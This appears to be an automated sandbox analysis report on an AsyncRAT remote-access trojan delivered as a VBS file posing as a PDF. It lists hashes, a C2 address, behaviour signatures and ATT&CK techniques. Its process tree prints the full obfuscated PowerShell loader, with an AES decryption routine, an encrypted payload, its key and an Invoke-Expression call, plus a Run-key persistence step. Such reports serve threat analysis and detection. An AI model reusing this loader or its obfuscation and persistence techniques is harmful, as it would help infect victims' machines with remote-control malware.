asyncrat | 6c3b11ec24150c5a9fd09c81a747494aa356c9d26ebe93dee5fd99b751f53e42

General

Target

33049587783_SC_PDF.vbs
Size

124KB
MD5

21240c47b62ab8ec3a2c5bd3a8346139
SHA1

e7cec79c61f05c0098fb482752204e6cc98bc256
SHA256

6c3b11ec24150c5a9fd09c81a747494aa356c9d26ebe93dee5fd99b751f53e42
SHA512

0c277c57b1b7d5c87eb8b417a30a3224fc79f4e02f4056962a7769c16823c62254d2fb7b3fd2b0e324d936ad834ff2f6440813da0ebd4a23510cab3a738dd813
SSDEEP

3072:+50KKKKKKKKUKKKKKKKKsKKKKKKKKqDyKKKKKKKKg8KKKKKKKKjZzAfKKKKKKKKj:+aKKKKKKKKUKKKKKKKKsKKKKKKKKqWKp

Score

10^/10

asyncrat default execution persistence rat

Malware Config

Extracted

Family

asyncrat

Botnet

Default

C2

anargaz.duckdns.org:2011

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Blocklisted process makes network request 5 IoCs

flow	pid	Process
4	4920	WScript.exe
13	4920	WScript.exe
17	4920	WScript.exe
33	1464	powershell.exe
59	1464	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\desfalco.vbs"	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1464 set thread context of 3492	1464	powershell.exe	102

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1464	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1464	powershell.exe
1464	powershell.exe
1464	powershell.exe
1464	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1464	powershell.exe
Token: SeDebugPrivilege	3492	AppLaunch.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4920 wrote to memory of 1464	4920	WScript.exe	87
PID 4920 wrote to memory of 1464	4920	WScript.exe	87
PID 1464 wrote to memory of 1716	1464	powershell.exe	99
PID 1464 wrote to memory of 1716	1464	powershell.exe	99
PID 1464 wrote to memory of 2428	1464	powershell.exe	101
PID 1464 wrote to memory of 2428	1464	powershell.exe	101
PID 1464 wrote to memory of 2428	1464	powershell.exe	101
PID 1464 wrote to memory of 3492	1464	powershell.exe	102
PID 1464 wrote to memory of 3492	1464	powershell.exe	102
PID 1464 wrote to memory of 3492	1464	powershell.exe	102
PID 1464 wrote to memory of 3492	1464	powershell.exe	102
PID 1464 wrote to memory of 3492	1464	powershell.exe	102
PID 1464 wrote to memory of 3492	1464	powershell.exe	102
PID 1464 wrote to memory of 3492	1464	powershell.exe	102
PID 1464 wrote to memory of 3492	1464	powershell.exe	102

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\33049587783_SC_PDF.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI05500911371231083221953259509636CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI9MEGrRzIZ0AnAInnCBAAvc0WhrmAYvGHrar3C0tXRQdwheH6vDW4uK2psEXYbwmmC0wCiyec6HgNN1x5bdwducD9ETL7/znM+im7NufOkvVcU+fke+s0CL9tZ3FFvkl632aZxXn8aXEq3WXpguovAwFAO0XFjMFO/jNoojqrRncK/Pa1vqm6RcDteTOGL7FSNNZx6UEDKOQLNqinL2zptv39y7tVXlZTK1vOTRHLfbx/2PgeMPmL56BGwiZLdICnejq5bqw+DRL5QAgk5yXnBG96G1SuFXGbs6DD50EbRPm1Y95BwEBH9syVqLDv9b3TL0zuSZHhOt5U0GHWvuRzW4i2169D2CzM/P3UbhsQiWH4H6bZs/XSlNYasrhQvzZvglDpDXWtiu5BYX5Zm8f3ZBuhguIdOijyVSKAy6xeeDwEJ+c4jRTdQgZzMoSnCGENvAu52UdJNipFKJcXj/XfbBhFgYJbAnYsrZUYm1Tu8KINY3eeDfgCRFzdqhu4xJrICA2QDw6uVNH71XJhSKKPYuUxXyUtIkmqlnAKWBMLlwUh0VpFXyojinOpRftF+H2t099PsdhMkrQ8hrqUZxvq8K5YKkP6Ge+peoW3tD1kh32+x86I3+REWHZDZyTJkf/CTC661G8M913f2ARch2uOTiHQ/SuNs76Re+jt4W4BPcU7k9US1Uweo9HnvhsuuIFW/TbNjYgpU6oU9G2JhihdLojphL1Sd07SQr7q2s/FLq6FQO8UrOXNEJJ4DVDd/QHwUOsMIc6tBLsbk6FOQMPMFd6kfWPvahoC+WrLzM22DOAsikZt+AgSeNQqDQw+aTreRjeLPZ4yMyW5Rp0RRD27Gmrqtxt7EcOxdWxtoSMoggFddYRsb6Sg6BbvAZEXD2Xo0c1dUW/lS7crPoSNQNEUp1/y7cYhjWHN/qYU5nqg3zUsqryC6eYq9qQOtwKOcAMZCo1tW9M9XYU7V2IdPMFlVigqZwBpJCzZQeCZDHHln4rjJMRP2+m12tXZq2JpGjrc1a+NdeX4iT3xkSUoH9lxwXLKuPRMJT1L/MbLne+BMDNmaM85e+Zqrb4yoyfLr6VqyHHwta0QYtAxF/S4Xv7ilNrVDhQ0GG6XmsYbzjkIeWJHJbHw6Qppr2HE2CyAhwKhyMytVKRWlnRrM5dLJLrfC7VwopcHkmgvZDQw4/8Q7zVSDzKJ21EPagsFY7pdSlzZ7aRtG+5MCl1XWrcJ2JZxnji112NlbExjgPtV3KcnRD6hvWLZfMRxSPR/fJh92ne00ex2xGuaCBL6yi5K1kdNte9GiOpyZtYOFMLPpV8ZHSyim3867MpKspZB+et4gNWNXVPTKPxf4HdfGIfVq+YfRpLWGsSzlqvs8KpmbjdTXNXYp6EKUKqQvcKYHy3MqIA9K2XOAE2yxnZpRRyGTfEVaSdAcLANVMI7MGAgPmOTDgmdCs+3GcoyC7HFXJYE9AVWWHytIB3ZCUBc622Aep5z5DYDL7YySV6X+pUBYgvbNKWEVRYEkxARP79A3ZFSTi1hPZkjkzx6tXpLoBqBGlbzOBNadV2ohjkzr87Fu3u1M2tj0arON9H9sIUEhn/wbo2LFyawJaQgR8z9j6sCyUfaxuMqN78tryeFRAwDLf/2Yt7Lv83Q4SELdFLCawZf+bkwcudNOAioDc39ayL2F/4oSM4WobXQFRyAoYRJ3rkmr9zvxHu7AG+aoJh0HSTSpWaAE9LDLMZrpwAiwhcFQkfpEWhmwQ8q4J/B2yFrzhqnkDEJKo5ef2rV9yrJjYJTTBMzCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1464
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\desfalco.vbs"
    3⤵
    PID:1716
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:2428
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\WZ04RUV6\paste1[1].txt

Filesize
156B

MD5
ad6c37ef980373e9bcbd14810fad34bc

SHA1
9c061a1b3608b7c7f1db7cd06c8246913ee11bda

SHA256
ee85057c1a562fc405d03b2b6a651612ac688dff5c9eeae88a0c1e34e17c602c

SHA512
30dc26060efcb4fd44be2d74cc4d33654ee0eb9039bd933c80b67afcc938bdba458cfa6bfc43d2ddb2f59dd6f9ddfe66951c56c61709a2dc02eac94e0e2ae97f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3zmla5zx.bk1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1464-28-0x00007FFBF5D00000-0x00007FFBF67C1000-memory.dmp

Filesize
10.8MB

Download
memory/1464-29-0x00007FFBF5D00000-0x00007FFBF67C1000-memory.dmp

Filesize
10.8MB

Download
memory/1464-24-0x00007FFBF5D00000-0x00007FFBF67C1000-memory.dmp

Filesize
10.8MB

Download
memory/1464-25-0x00007FFBF5D00000-0x00007FFBF67C1000-memory.dmp

Filesize
10.8MB

Download
memory/1464-26-0x00007FFBF5D00000-0x00007FFBF67C1000-memory.dmp

Filesize
10.8MB

Download
memory/1464-27-0x00007FFBF5D03000-0x00007FFBF5D05000-memory.dmp

Filesize
8KB

Download
memory/1464-13-0x00007FFBF5D03000-0x00007FFBF5D05000-memory.dmp

Filesize
8KB

Download
memory/1464-23-0x0000017ED6FF0000-0x0000017ED7012000-memory.dmp

Filesize
136KB

Download
memory/1464-30-0x0000017EE74D0000-0x0000017EE76BC000-memory.dmp

Filesize
1.9MB

Download
memory/1464-35-0x00007FFBF5D00000-0x00007FFBF67C1000-memory.dmp

Filesize
10.8MB

Download
memory/3492-32-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3492-36-0x0000000005860000-0x00000000058FC000-memory.dmp

Filesize
624KB

Download
memory/3492-37-0x0000000005EB0000-0x0000000006454000-memory.dmp

Filesize
5.6MB

Download
memory/3492-38-0x0000000005900000-0x0000000005966000-memory.dmp

Filesize
408KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads